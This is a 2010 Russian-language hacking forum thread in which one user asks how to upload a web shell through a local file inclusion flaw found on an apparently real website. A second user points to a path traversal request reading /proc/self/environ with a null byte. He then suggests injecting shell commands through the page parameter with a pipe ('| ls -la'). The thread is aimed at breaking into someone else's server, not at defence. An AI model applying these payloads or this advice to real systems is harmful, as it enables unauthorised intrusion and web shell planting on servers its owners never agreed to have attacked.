Не выводится User Agent [LFI]

Discussion in 'Песочница' started by DCrypt, 4 Oct 2010.

  1. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Вообщем нашел LFI на сайте. Немогу через User Agent залить шелл. Даже <?php phpinfo();?> не пашет. Вот что выводит:

     
    #1 DCrypt, 4 Oct 2010
  2. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Советую обратить внимание на эти строки

    SCRIPT_NAME=/index.cgi
    REQUEST_URI=/index.cgi?page=../../../../../../../../../../proc/self/environ%00
    GATEWAY_INTERFACE=CGI/1.1
     
    #2 h00lyshit!, 5 Oct 2010
    Last edited: 10 Mar 2011
    1 person likes this.
  3. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Чхорт :( Как же можно залить шелл?
     
    #3 DCrypt, 5 Oct 2010
    Last edited by a moderator: 10 Mar 2011
  4. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    DCrypt
    Можно, но не средствами PHP, как ты пытаешься это сделать, а средствами Perl.
    Вообще, там скорее всего читалка, а не инклуд, учитывая некоторые особенности языка.
    Попробуй прописать какие нибудь системные команды index.cgi?page=| ls -la и тд, будут ли они выполняться.
     
    #4 h00lyshit!, 5 Oct 2010
    Last edited: 10 Mar 2011
    1 person likes this.
(You must log in or sign up to post here.)